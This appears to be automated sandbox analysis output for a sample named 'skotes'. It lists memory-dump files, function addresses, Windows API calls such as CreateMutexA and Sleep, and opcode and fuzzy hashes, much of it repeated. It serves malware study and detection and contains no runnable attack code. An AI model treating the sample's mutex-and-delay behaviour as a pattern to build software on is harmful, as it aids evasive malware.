Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: 8dc23b12aee4f31f01ff1c69d30b5c857539b16ce6034d5cf875de83231df7ff
Instruction ID: dd9f4c91a7b22b171fd95b82a5b9328f7b309c4b6eb424e48307308fe366d646
Opcode Fuzzy Hash: 8dc23b12aee4f31f01ff1c69d30b5c857539b16ce6034d5cf875de83231df7ff
Instruction Fuzzy Hash: 81314831A211008BEF08DF78DCC9B6CB766EF85314F348619E055AB2D5C775A9E08F22

Function 0026A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0026A685
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: c883926eee33c0258e18cd80e07aaec5ecda7d0ba673f749a1cf10f31b172cbb
Instruction ID: 396ec7d0349261ace9981261f5cc91a18f6fb0373b45dee9113e748a979a46e8
Opcode Fuzzy Hash: c883926eee33c0258e18cd80e07aaec5ecda7d0ba673f749a1cf10f31b172cbb
Instruction Fuzzy Hash: 093148316202018BEF08DF78DD89B6DB7B6EF85310F248618E019AB2D5C775A9E08A52

Function 0026A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0026A7BA
Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2,
API String ID: 396266464-1264347116
Opcode ID: 6c72d9cc282627aa02556679fa6d14ad86884300ee89192f023d323b51d1f4df
Instruction ID: 9b2af397473e5f94a506f964dbd8dd5aabda0cc542c4e5bad8b61dd51aa384cf
Opcode Fuzzy Hash: 6c72d9cc282627aa02556679fa6d14ad86884300ee89192f023d323b51d1f4df
Instruction Fuzzy Hash: 1C314A31621104CBEB08DF78DD89B6DB776EF85310F248618E019BB2D5D776A9E18A12

Function 0026A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0026A963
CreateMutexA.KERNEL32(00000000,00000000,002C3254), ref: 0026A981

Strings

T2,, xrefs: 0026A970

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2,
API String ID: 1464230837-1264347116
Opcode ID: 705c9d823b8387f0ff4e53d5552bafe90715e870fcdbbf6228c600aac26ec55a
Instruction ID: a4bfd9b4d36f718e57d8058f481f94ffb94965f75d59a22f1ab100918eece826
Opcode Fuzzy Hash: 705c9d823b8387f0ff4e53d5552bafe90715e870fcdbbf6228c600aac26ec55a
Instruction Fuzzy Hash: D1E086212AA20196FE107F686889F3D61A497D9700F317D14AA09DA0948A95B9A04523

Function 00267590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,53F67923,?,00000000,002A9138,000000FF), ref: 002675CC
CreateThread.KERNEL32(00000000,00000000,00267430,002C8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 002676BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 002676C9

Part of subcall function 0027D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0027D17B

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: d17af6131fcb5f5c738f977a3ffef980def888d46e803c8c82736f2360ed7371
Instruction ID: 4d94c01655c80a751c27f752ddc6d84d574ee53f9ddd96c1c6f4bb1129e90dc7
Opcode Fuzzy Hash: d17af6131fcb5f5c738f977a3ffef980def888d46e803c8c82736f2360ed7371
Instruction Fuzzy Hash: F951E370220244DBEB14DF28EC89F8D7BA9EB45308F608619F819873D1CB7AE4A4CF51

Function 00296E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
